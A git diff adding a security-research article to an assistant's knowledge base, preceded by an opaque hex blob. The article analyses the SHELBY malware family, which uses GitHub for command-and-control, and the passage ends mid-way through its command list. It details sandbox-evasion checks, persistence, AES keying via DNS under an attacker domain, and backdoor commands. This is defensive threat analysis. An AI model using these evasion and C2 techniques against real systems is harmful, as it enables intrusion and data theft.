bdcc31c6988b54689aa59972804610fd059bebfd0dc14af7d110b3ccb286f1bbbafa72273fae714d8de8c5e916a74b929033c366aaff86b57e0b7a7c1c05bcb78b710b222ba45cdc82f6d9bbf118b27a4c754bbb3e22656c4564f193fe6e85212c3d4e555df60568231add20ec1cea0e2e3683c1423414e68161d793c8c79b35290a79fa39b8a487878b3a7202ace33d746bde5e980a46032138ad1bf0429171c1affe80705ee5cc6846576669ee5fddb255f547ddf0250a4e32459beb5174d469d104bdff42c5ceee2b8caf41ac4789b07c670770ef5f8b963e483d9329bc0d09a0a37e00f897992ed86e3f286d6b427983958ef958a9e7046700c485aa4635c7617c658ce892574f5448f1d98e3e5db0e7db3e9320a7b1d53344be82b520967acc07f27a3924ea6e9f2d99d7b6a2df3c6d14e1b88cf6436bfdaf007d46c677c550e7c3ae5b6537a87a6308bed97a6fb13ad14bcbf751a06eb65a11cfba9c4b3b616ef4e26eea7b773c1991b0d64b7fecdec9b04b31cc05b80cf23adda992235c48b522188cf4f0b77ceaa75801afcf672cdee86b0ad51717bd21ce002f46a87efe94a4ee00d45f0ddb0aba4c8821f3fa05b11dd72f1b8dca7e4d79cf0ba7e43b7ed47fb35954e3249d8853f87c832c031dc03868b8cfc231449eec329779f36f4a0feb37d7e3546da46eca5f06be3a1c03b1e88470c6168302adba457a750a2e0408b96b768e0489c440054aac8be0d523680969a64835125e0d1b3ad17757adbd7a9e94721f2c6f0780f986be85aa09e2b500d59bb650299c82cee3938bf31ac7f911b6df8e936c646aadba4ab18d62105c4c798c86a479730d7304c6eef1d2b9e289bcb9c62913b22fc39448959d74f4dc8884b8797d4b4d0e43668425df9233bc8397f73ca661fdd6aa74181c10d7b21aa99d325f44de00ad1e4d11e56f82d60cc6d06c2d7bc9f7eae5996a2748f8816a64597925ce5217e8050c832801f01716e74e5a0b3e2244c3426d133da9b61a2cf7c2cae0e3ba0515e0d0735fd7089db0d774ca78a8b591e453f92d6d3031b540807066c2f8b83f47ef4ec1562a0044e5f1016b378fa4f2a7fc2b7047242a22cb36d2621a749228df6fae2d84b56782ff7744f92a2874eec0d1a28171b00d855472f55d89bbf2e4eb311e4b421736ab4458d5efaea3ef2869d0623c45e3b445d1d90f772f46f5b5b3aaf1e312f4893d242c02e24cd51950022f27fc59f14f661bcbe0f312e42d9d5b0d6df1a50fa78f5e29f3c6202fda0eb596336da4526b7d459c1eada56649492183858a2dde000caabf8acfc57a7e9a3bc48128f8dac475be8d39a8562261cd6a5ae1bc3852980a8c228ca25a393b3e761e93bd2e026685ec8dbde1d96e35b30fe892c57105b043d6902cf13e226ae5d7a9125b3418b0ef63928a57e617a06006b81abd9d7ed589247c5bd6810350edca06539143133cf1a1dc9bab5df9ed86e8cc99a62cc99f0d5077539655d0740c07fbbd177ff2a083bcb8c739d8264f21d3e7c6e91e7cadda1e949d4e5b55d85241143cd5bb376a58bf669b4db3ff8f25a746dbb3d633eee1024f65549bf113a8b2793349b4107060f8c15a459e3d71a8223c38f70bdc34437a62da3036f294d0d6de810bc13e9d99ea68f93fef66b4838d38daa3b1b77794f28c4e0840fd58de51df95fb5a8c45e7e4185adff2cfb7fd5751262d562fcb29a4df04099436ab779038aaf659e088fb5a73cd29767028d7651d4a980d644d7f1f8dfe3c62a694f4d9f631bc6a348fd554b838e7d749fb17800ad890a2373975a4eaa388fcf6ea50f2c491d144d2a64c83888137da33f262d86f1bae6a8185b535e0bb7e564f4262f7640ada92d2eaee6cd156bbc59364c29ba3cd3eedc224cee7faae33d5a0b2853368e1d663768b03a70709b776a04d98f631efc2bd1e88ab183a36aac6350c7871dc6a092626acfc32646e1c647f934eb4a8497c59a67a98d31ebe7cfde0df7c56847125e348bd6f0a6b1edd450a803b369a09a8027f123e6648a1f4385f227778f8a3829a3d4fcdfb768590e8849d2a47cb36139de7efe5e48dfbc6405682994d5e2e2f30536f229b3cef2dbb0610b469ff05ed3fada8d2e92f748ff4dccb95decb72762dae625ef133a45e6464ac87fe5cd3bce99e5c11632e68a7ed7de7b266f3e9b0b12b34dd85f7b8ccb757e527b6bfa3a34c03dd34e10737ad9dc5033ae08c10b7ec2845ef34673044a293d9d85d77fc0eb88a768fa9ad53d4506b8776202f9090ec32264b450bac5e2032344ec50e87a181ca23721928535b5c5d61a4dc2f19164913347dcbbe318325f60f007bfbf3f3dbe1b02fd6b46fc68a2617b4a13a2eaceeff71be781060e04dee995600c6dd816f072210d703d95d0ed1a579e5fe218a18b71c91ecdd905632b009b3da307afc6e97238416312e3b8b3bc11369f5332775f6045e5247d20b67ba1f85c81e27636a29f23d016658f611bf4b5f9423e7eef58da7d44ce272ef9e3ee880e67a5622300402caf093541e07530711fa93cfb8cc14e7fc1877e558b2a01afa255c5d18675ff5b98f8da65b807ac219be70bc0806d2d82c40e274b0e7e760628ee6f57bb6e2dbf83ddd139c0bbef213557057480bf4c62bab18b237f7bfe38c7d051bc1c822ba40275560b5ee559e1b19e8740b3ed7b7601d20bf10a8e473848fd02bbd0ed01bae504d193d5f0b4ab7b72ab35f272813df271fd3b05f2179c8d0d50bd28dd34e4a5b9e7ed3ee49799e0f03c9d7d5ea9a34d13fd1bd6bee99704424031b174111ac8b208f68044dd1dee5a7be856244b41e2260cbb2d2cf0bcfb4e975fd1ae5205a97ced012a38d678d7457099339227d708d9543c7a4124728ef97b565fe788fc6d9918757cb533a7ea200c2a78daaf73702ec76d9c9502955f05e0609bbffa869447876f014c4c5cacdcd781e4126bf8b5b208f68044dd1dee5a7be856244b41e2260cbb2d2cf0bcfb4e975fd1ae5205a9e046f626f7ebcf61a7764136fcd439ca94d973430c1cbb77f3155ff8409e919b9bf3b97e02dc1a23ee5d8427db49a7e9f8160c3d5c0a1e13a0baa63bb3a6a87996673fec66cdeac28f6b997a208a02c049bd872a1fd18402868300320ee3887344b95c692e1143e9f235317d70485433719b07b3de0737ef07396d4b4ddb87fd24bd0d7547a84f5506eea9ba38b20da2d0339811a81d7d277a25f397a19df23488c4682fa89a4ccaa0bf424c6f237bdfec3a1a458c8238e8be6885865d8a3d7feafd794b7184aecf9648254a1eb049329bf3b97e02dc1a23ee5d8427db49a7e92a9039bf5556aaa1d7b0e0175f90a16ef3f8f311c0ebea4f4fe23a3be6326f37b810a593550536de240b9069d82f0122468c4b82c9b2b631603699f54bcf1b8d161e463a04d0048e58435eba5539a796a5293c43d9adb82ff75bded719bb6dfd0ccfac22c97f512ba98563c98418b1f039bb3ef42f273fe82eb455afe3c53c2d468c4b82c9b2b631603699f54bcf1b8d0a92aaf9efe3d25a6d4611a6991ffe1b8f405c1aacf10b259b776fbe923c2aa08b175a091b4cf0d08bbd0850c3a9f4780ae9bd5e5e8b6a3ff7ba8801816927f5ef315bd0de0abdffd5a92d33e86be136c911125bf085f2e84545f53fc6eda9d0ea28f5431cb4ca1256245d136f19c5e361dbfb9ccd974e284687dea7feb676e23e20a7014ff20b836a9df57b5bd8e436e528bea158459bfca5a0f2835a3ade90c172a7c73131fca55a843d09134f0e2fec5c3254172356f5616bd06c9b02a4db73ac574825b76fa24eb76a99caa16be12090f30bb7de8e1193fe14e28a75f87dd5feac876cfe7b27998f3ebac2eeb4fdfb8b513409e2f16bdf3d997cbba50ddd3f32d325f452e3e970ee79735ebebea0d5feac876cfe7b27998f3ebac2eeb4fdde86da40c4809aae16b7baa8584592b458f98c2f946c7da1e8b74441fb58c51ce0ed9ffac1495a5f490233462bccf035000892ba15703f457960955ae75cda1666656c3f26ad2ec617d4c527341994961de35daa6e37545f92bfd921f06bcc786afbb09afaebe4d21d5592d6bee6f5a64eb956ea563ccb5735e1cf26de41fe7fad44c53f2cc49e334c17011459f30e0b337df7ce727ff7022d77428115c883ac2a5042abfec2d2460c30f2425088ef5fae6ab47009fe3f6281334dc7b63b9a43f1b50794d8bd9cc86ad2f5f4b0dd928e24c61debb5a89338b6e1d446246c457ec8d3d69af4b2bbc37ba9aea1fbe4bdd27ad906e2a9c7c567d33e5988ea5fddf3c4b263a7c5da748a0ac7b299fd59a0705153e365999b3d086e361207b62c9b38194f84990326d8852cb3c8ecf9ff032f86112312e46d9bcf7d446a3ff42cbaebf064e54fce35676981da428e0eee07fdd55337f6f957bb0525b4ab937b828755966a470aa1f120c7e2dd5799df7d57db9b7ff89c598549b2bd21e3de074655a97fb8f3967cd26f94fb7148ead9b978602798899b6d85c3211b1c411866eefbd2e89e3189289c497d7750922b5c851a64a3145d1a89665df598914554f3bb374167ff4fa5fa84f85ce01d3abbf6441ea81e4ea843aca167a112ff9ba5db99e35021adcf2733ba94c677e0720deddfebab67db31fba52109e4a7d43a8210f238b3fccd6456b3d1b6ce532aba68b0c61977298100b13bc79744b71899d1cf602f26535861360b7627b3a590c7d8cca4ac67ba994a3f00bb177ea77f4a9fd9879389c4bf82e1c4c0ba6dc6b5fb416bf0b2fe91ee16319431ccadecd137bf159a1869e1cbeb6737ab2ee22feceb75661023894bbfcf00e877ded53c64c5331bd07b37857fd4969656cf30a6fafd15bcf8dbc4361085a7979cca80d42c2ed3b31937f5d17f4e5b6126495eed55ffc10b0afd5f00188c3dc8870e33ddc8bce3502d7393e4e67b6b2d11ab2e18760dd7e8df3820ff05bcc2a363ccb30692e135d0b9905e895e0c8241ee599d851b97cc5c02ffd33afb71352f0e9e4c2df8b228d49f89c28ea0e09db0a6680dc9bc35bf74a81d96f0c9ef1780f7506066437a80ccd4cb427059215a4b551b72593c4ec1c16dd83da69394cd3dd6ab096ab4e6015fe4f147bcc0d8c3e01858f10a2aab6359fd8f15c3b63f71047abe4af13b4e471b3dad0d1856f0708f2c6be643c383bb65b17f4b18ff231d7342125818e1f552efa4fca806c2113784838de6ed91f4a0b31905e8ea27d72bb65049c23d9bcd66464341d8419a4f97659c143191f5e0ff0345d56cf94ae1008a2f71e8b2c718721f2a769265f63db70b0b0fa1691c22bc67f1e54e95e85e6e64cc4bfe1e767aa1ce7fe9366ec97e554e81e76ee4bcfd070c1825ff27c61b1a65d0eae29166d3c11841ef2488e1cb65a34a10e616e9b1e316226f152468cb520e0df7eedec0efc33bf36aa753dc684cdd6a09713ec2c3043dc7fbf3aa73e7e9f625e65d933162c28a3805fcfb5ab63d129774ae93a15de93f7727487cf8664d3d7dbde6e60fc39824be5c2d8a2d4b7d870b29d2037a232bcaee13db0481cc0a7dc442103f8050fb913fb7d21a35a50bd960bd381103183b262d7f14da6bd47ed8774d998fea037f8db520e0404ee77b55fbb6429415c218b350a2d64661ad93a0a6637fbfd94e305174232e8cc0aa17cb04e4a92506b13114ba4903c96db6ecf5757aff42b56512c1577c1116aebc59c2b27974d7a4ed9a53de002710bf29e5bf14755bf5a931a2e5cc818e298100b13bc79744b71899d1cf602f2674a42b23b435db5eacb85833abc352ba5d34d624ccc1cab919a84019bac354041c0403d208b3488a479bbb87a4c8f76a0552c1a470902aea9081ba773bb6badf84077631a9f7073a0cfded2f4e0ea4bb5358cfb9ec45d02b212ab1d39f8ac72b4a813611174d0db84f8485229382a2c56dcf3d8a6438074a9541990c271be0d87eacef0c1be13f146e99bec6eedc850737e9bd6ca8fd9911d448bbaadcd6c25a20808512377c2c9bda30058ddba71723be0d579a3ce2b392126c3e5824b21cbcfc41c6486bc137faf9493df9cb8dc091eee0e4d84d44f6583e29f4943b6024da09f4295a162a66e2478edab8f737bab45763ef347b903a09006e116dc0e972ffc6cb091b6f578d6cb49fb3ffa2fae05951e0a329485006bdbab0de154134813aee881381330fc33a5ce46f4d54c31b35f56dacc3c7edeb7c160c4460fd22529238f893be4adba69118a45cefa91f7de41cd55647a7e59d96ff8ca9ade0d8d136f07b73934eb1bd4fdb580a17f1a276e27a0fd16f8a5f1fb5d5c817f9c2ba76c584a6a9024bb42b85808063754805cca0913eda6c8e91645680f9c0b4e30dcd4326ebefd57d42ca2a68a8f65573d98b5d937bd7001ee4e5d1aafca4e910a6de53327bd97efed9811462b829ad83427f46bee7eee6b5a209c28fb051094f766d5adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89ac46fdbc710ebd4698cf2a0b3d59b8715f24953ba55002f2fa4a39b5da37f3fff007ccb04d728bf6dc350aaf9ffa839a5dcc83eb1482ebafb12f159a67fecf89a819205695e6e3940fa7ce31a633727cc947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c947d4a0c65a5e62ba244ee7270be1a2c413b942aa71622a24882214fa89c56aab047cd4fda7912421e4886eccc09280a413b942aa71622a24882214fa89c56aa947d4a0c65a5e62ba244ee7270be1a2c17e96b320da99e503a49876cd51f1e5905fbf9dda141eb02187db6ac054c08561c715cd82016c705f49d6620ab64f8abe2772823028259d2fdbd06c29cee23c5fd78b71a375f145f030c84ceba1542c7a25dd552e345a0ad049d4167b0050dd256d71121c79aba0623dc857735562f897eea8fb4df85075f509e0e55dfac74b137bba285818be6c796f420c05b117ad65072a7b82ac8448f40b3ebae3fac080be15e698be37bbb1a9aabc7c9b7aa165df2f42fa477ee0ee17c9f6b41181c2c0084567babf7b34f8eab937a8bcc34c4753473e32da7cb9775636130f06fa080a1881037f19093dc3f60e7fb44e1ec21eadcc83eb1482ebafb12f159a67fecf89a9570b0edcaccdfca4e3ffcc5199a122ad31723b050fb68fd45e163adc0fdc6f3a591c064611302253bdf5623e0d33a97d323080ff92fa2d451289950c5f90fb61db2f0bbece39ee40d7631e38b228628bdf220e2912b43914ee2ddfc85dce5630474f216c5e8d441479c9eb03251dd725f2c8214139b05f5b303b785a4d3d09d8e37bd148f41fd0a72135432d6c7bba8e3362c7c38db231dd4299371d41fac3dccfd9b53377833aef6e42f34c03a50144ddc0386eaed5166223a3232cdc7fcdae61ad56ebe239ca8a868d765733cb30c94220306911df1dc1c56c8cf56eb66b4fff0c1b6f1659a11ec4cd0f06388c924cc78fdc151f80cbbce5f7fd810baf360dcc83eb1482ebafb12f159a67fecf89a95fe028d2dcc84f87332e256b94f83417dc548eb2761bfe3be206f72189e15262aaecd91b495bb1520d99346a6c50bf90282a35704feed688c5615c31e2ce8c094605bf0d7e741d83f9198ef2c65c98d292599d30108f5c28e9b94171bd9933bfeb76d6ba448eb0d2baa756781dffc3b7eea8fb4df85075f509e0e55dfac74b1259d4d11e3dbd9113274c621ed75846d80394c5c0029dbdd20903a9e4e37595acfc0403c1b13ec83c0cf9f7dffa15b8e7c739817c45226ad77353d1cc01d44fd20c84ce00d6a49381145c44a0a3db8d5b41ca674ca58b64d6536943505945db51523f83773aeca3bea93c83f907f8f02dcc83eb1482ebafb12f159a67fecf89a9e643bbdfc75d5e8987b1aae48486c2a90c067019bd4ecf57b17b9e7a9c2990574b4b61b0778869b27bdadf1261163a5cbe80c7c28b4b0a2610f56e5f83f2da8cb5ab4630286d15df02d20f374da9254dcbd5d02790b43b0ba8344dbeb626608ac603072a0104b81cf43b0e5a3fa03b276a7ac4436d283bf44f3857acd9454384e6dd2397547ca3ce641000460ec9b4108ff8b41ec5e29f3d70950009a4ab6cd35c3830f880acae16b80654186262ef5dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a26ccbc6ae1f888a44a70c3299814dd6563d77b0cd0be194f190383b004a45c2f9fe7f8a6cae6508f475f807e295d941a5b676325ef479d231a2819f3323fe053ed0773905aae7263bc199af71f56008007bae4210bad2bc91bac6ac40cac0097dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a7e3c62ebaaf24911c8aed1015d2d643fd0e1859bad07299c98e583b27b6bc57ac58e9cfd18669a43dbf40e89c175dbf0b19d6cb7ddcb4fb0a0f491468f1976d48c42e8d4651603f28a008c6eea581ffe4ad9607563ee5102e355c4a8a3101ff2dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a94bcf728143fc3fb66c7ab930169ffcbc0d4579e3dfdcbc9d2637ece4d275d17f9048e93c12116fdb685de34b83b139679f1e6a4dd3609141ec8102307c036ed250d9732da8d6c0ed369a994516e51f1ad211e55095b40883958b554c9a60206dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9388d4cc13482d1c9ad63b033513fd04f48877bf5d14375eaf13efb9d1bf1191a51ee51e66a2714ffedb2d5f6554bae9dcc83eb1482ebafb12f159a67fecf89a851e0006263406839c8685a8660eec3954e2e0c9ab8c73b5fb9300a958c4d25cdcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a9a35dc89a932614fc89885110a0d548144710e67d6d16ada837768aed3fb3128fc57af6b742dc117653c175a6f4ae00edcc83eb1482ebafb12f159a67fecf89ad9c0bcac606843c2667153f51ffbc52bfbd04f01fef404539a85487aa29ef0addcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a31295910c9f0eaa83e84a30dbcf06eb52e4cf352cb46ed71e77e8e6bc1f9a0c831295910c9f0eaa83e84a30dbcf06eb5dcc83eb1482ebafb12f159a67fecf89a82957288078e5136e9c210029eb68e9cc19439f06c7bdc54c0a54042848f13f3dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89ac30db48a83d4f375168ad34f94a99b98dcc83eb1482ebafb12f159a67fecf89a9a359e30e310ea78698aa357efc3541c3e06af40c33a3e43ce93e8fb68ce41a3945d8ead017b857e07431df89e866658dcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89a84f7379615a2aaaa1a8982e2b7fbfcd09a359e30e310ea78698aa357efc3541c855b9539f17f6dde14920f7894dde428303901b24a08b89a714b957965813456c93c2d44d6c6e04fe47a732bd4d85ed005a451637a8b32d5ecc20b08bf20a27edcc83eb1482ebafb12f159a67fecf89adcc83eb1482ebafb12f159a67fecf89aa98099ca0609c4695029a2453a80851d855b9539f17f6dde14920f7894dde428d0e1859bad07299c98e583b27b6bc57aac603072a0104b81cf43b0e5a3fa03b29d76fcc613cd037e367fefe0041b9ae3 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_shelby_strategy.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_shelby_strategy.md new file mode 100644 index 0000000000000..5dea964ea559f --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_shelby_strategy.md @@ -0,0 +1,478 @@ +--- +title: "The Shelby Strategy" +slug: "the-shelby-strategy" +date: "2025-03-26" +description: "An analysis of REF8685's abuse of GitHub for C2 to evade defenses." +author: + - slug: salim-bitam + - slug: seth-goodwin +image: "shelby.png" +category: + - slug: malware-analysis +tags: + - ref8685 + - shelbyc2 + - shelbyloader +--- + +## Key takeaways + +* The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands +* The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability +* Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions + +## Summary + +As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company. + +The phishing email relies on the victim opening the attached `Details.zip` file and executing the contained binary, `JPerf-3.0.0.exe`. This binary utilizes the script-driven installation system, [Inno setup](https://jrsoftware.org/isinfo.php), that contains the malicious application: + +* `%AppData%\Local\Microsoft\HTTPApi`: + * `HTTPApi.dll` (SHELBYC2) + * `HTTPService.dll` (SHELBYLOADER) + * `Microsoft.Http.Api.exe` + * `Microsoft.Http.Api.exe.config` + +The installed `Microsoft.Http.Api.exe` is a benign .NET executable. Its primary purpose is to side-load the malicious `HTTPService.dll`. Once loaded, `HTTPService.dll` acts as the loader, initiating communication with GitHub for its command-and-control (C2). + +The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, `HTTPApi.dll`. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms. + +![SHELBYLOADER & SHELBYC2 Execution Chain](/assets/images/the-shelby-strategy/image27.png "SHELBYLOADER & SHELBYC2 Execution Chain") + +As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal. + +![VirusTotal hits for SHELBYC2](/assets/images/the-shelby-strategy/image2.png "VirusTotal hits for SHELBYC2") + +![VirusTotal hits for SHELBYLOADER](/assets/images/the-shelby-strategy/image24.png "VirusTotal hits for SHELBYLOADER") + +## SHELBYLOADER code analysis + +### Obfuscation + +Both the loader and backdoor are obfuscated with the open-source tool [Obfuscar](https://github.com/obfuscar/obfuscar), which employs string encryption as one of its features. To bypass this obfuscation, we can leverage [de4dot](https://github.com/de4dot/de4dot) with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters `--strtyp` ( the type of string decrypter, in our case `delegate`) and `--strtok` ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code. + +![Deobfuscation using de4dot](/assets/images/the-shelby-strategy/image6.png "Deobfuscation using de4dot") + +### Sandbox detection + +SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example: + +![Sandbox detection example](/assets/images/the-shelby-strategy/image17.png "Sandbox detection example") + +#### Technique 1: WMI Query for System Information + +The malware executes a WMI query (`Select * from Win32_ComputerSystem`) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as "VMware" or "VirtualBox." + +![Sandbox detection based on system information](/assets/images/the-shelby-strategy/image8.png "Sandbox detection based on system information") + +#### Technique 2: Process Enumeration + +The malware scans the running processes for known virtualization-related services, including: + +* `vmsrvc` +* `vmtools` +* `xenservice` +* `vboxservice` +* `vboxtray` + +The presence of these processes tells the malware that it may be running in a virtualized environment. + +#### Technique 3: File System Checks + +The malware searches for the existence of specific driver files commonly associated with virtualization software, such as: + +* `C:\Windows\System32\drivers\VBoxMouse.sys` +* `C:\Windows\System32\drivers\VBoxGuest.sys` +* `C:\Windows\System32\drivers\vmhgfs.sys` +* `C:\Windows\System32\drivers\vmci.sys` + +#### Technique 4: Disk Size Analysis + +The malware checks the size of the `C:` volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes. + +![Sandbox detection based on disk size](/assets/images/the-shelby-strategy/image23.png "Sandbox detection based on disk size") + +#### Technique 5: Parent Process Verification + +The malware examines its parent process. If the parent process is not `explorer.exe`, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario. + +![Sandbox detection based on process tree](/assets/images/the-shelby-strategy/image15.png "Sandbox detection based on process tree") + +#### Technique 6: Sleep Time Deviation Detection + +The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment. + +![Sandbox detection based on sleep time deviation](/assets/images/the-shelby-strategy/image5.png "Sandbox detection based on sleep time deviation") + +#### Technique 7: WMI Query for Video Controller + +The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: `virtual` or `vmware` or `vbox`. + +![Sandbox detection based on the name of the video controller](/assets/images/the-shelby-strategy/image21.png "Sandbox detection based on the name of the video controller") + +### Core Functionality + +The malware's loader code begins by initializing several variables within its main class constructor. These variables include: + +* A GitHub account name +* A private repository name +* A Personal Access Token (PAT) for authenticating and accessing the repository + +Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals. + +![SHELBYLOADER configuration](/assets/images/the-shelby-strategy/image31.png "SHELBYLOADER configuration") + +One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering. + +![Setup persistence](/assets/images/the-shelby-strategy/image22.png "Setup persistence") + +This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning: + +| ID | Description | +|----|-----------------------------------| +| `1` | Persistence set successfully | +| `2` | Persistence already set | +| `8` | Unable to add an entry in the key | +| `9` | Binary not found on disk | + +This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system. + +The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( `/` ): + +* The number of processors available on the system. +* The name of the machine (hostname). +* The domain name associated with the user account. +* The username of the currently logged-in user. +* The total number of logical drives present on the system. + +![Generate unique identifier](/assets/images/the-shelby-strategy/image12.png "Generate unique identifier") + +A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure. + +After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named `Info.txt`. This file stores the following information about the infected system: + +* The domain name associated with the user account. +* The username of the currently logged-in user. +* The log of sandbox detection results detailing which techniques succeeded or failed. +* The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism. +* The current date and time of the beaconing event + +![Example content of Info.txt](/assets/images/the-shelby-strategy/image28.png "Example content of Info.txt") + +The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication. + +After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named `License.txt` (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor. + +![Function calls for registration and retrieval of License content](/assets/images/the-shelby-strategy/image18.png "Function calls for registration and retrieval of License content") + +The malware generates an AES key and initialization vector (IV) from the contents of `License.txt`. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV. + +![Generating decryption AES key and IV](/assets/images/the-shelby-strategy/image25.png "Generating decryption AES key and IV") + +It proceeds to decrypt the file `HTTPApi.dll`, which contains the backdoor payload. After decryption, the malware uses the `Assembly.Load` method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk. + +![Decrypts and loads SHELBYC2](/assets/images/the-shelby-strategy/image4.png "Decrypts and loads SHELBYC2") + +### DNS-Based Keying Mechanism + +Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV. + +First, the malware executes the same anti-sandboxing methods, creating a string of `1` or `0` depending on whether a sandbox is detected for each technique. + +For its C2 registration, the malware builds a subdomain under `arthurshelby.click` with three parts: the first subdomain is a static string (`s`), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format `DomainName\HostName >> Anti-Sandboxing Results >> Persistence Flag` encoded in base32. + +For example, a complete domain might look like `s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click` + +![CyberChef recipe for decoding generated subdomains](/assets/images/the-shelby-strategy/image13.png "CyberChef recipe for decoding generated subdomains") + +After that, the malware executes multiple DNS queries to subdomains of `arthurshelby.click`. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier. + +The subdomains follow this format: + +* The first subdomain is `l`, where the index corresponds to the order of the DNS calls (e.g., `l1`, `l2`, etc.), ensuring the byte sequence is assembled correctly. +* The second subdomain is the unique identifier encoded in Base32. + +![Subdomains contacted to retrieve the bytes used to generate the AES key](/assets/images/the-shelby-strategy/image16.png "Subdomains contacted to retrieve the bytes used to generate the AES key") + +## SHELBYC2 code analysis + +The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a [Mutex](https://learn.microsoft.com/en-us/windows/win32/sync/using-mutex-objects) to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string `Global\GHS` to the unique identifier. + +![Mutex initialization](/assets/images/the-shelby-strategy/image9.png "Mutex initialization") + +After 65 seconds, the backdoor executes a method that collects the following system information: + +* current user identity +* operating system version +* the process ID of the malware +* machine name +* current working directory + +Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions. + +![Dead code](/assets/images/the-shelby-strategy/image1.png "Dead code") + +The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word **"Vivante"** translates to **"alive"** in French, which reflects the file's role as a heartbeat indicator for the compromised machine. + +Next, the malware attempts to download the file `Command.txt`, which contains a list of commands issued by the operator for execution on the infected system. + +If `Command.txt` contains no commands, the malware checks for commands in another file named `Broadcast.txt`. Unlike `Command.txt`, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control. + +### Commands handling table: + +Commands in the `Command.txt` file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command. + +#### /download + +This command downloads a file from a GitHub repository to the infected machine. It requires two parameters: + +* The name of the file stored in the GitHub repository. +* The path where the file will be saved on the infected machine. + +![Download command](/assets/images/the-shelby-strategy/image20.png) + +#### /upload + +This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded. + +![Upload command](/assets/images/the-shelby-strategy/image32.png) + +#### /dlextract + +This command downloads a zip file from the GitHub repository (similar to `/download`), extracts its contents, and saves them to a specified directory on the machine. + 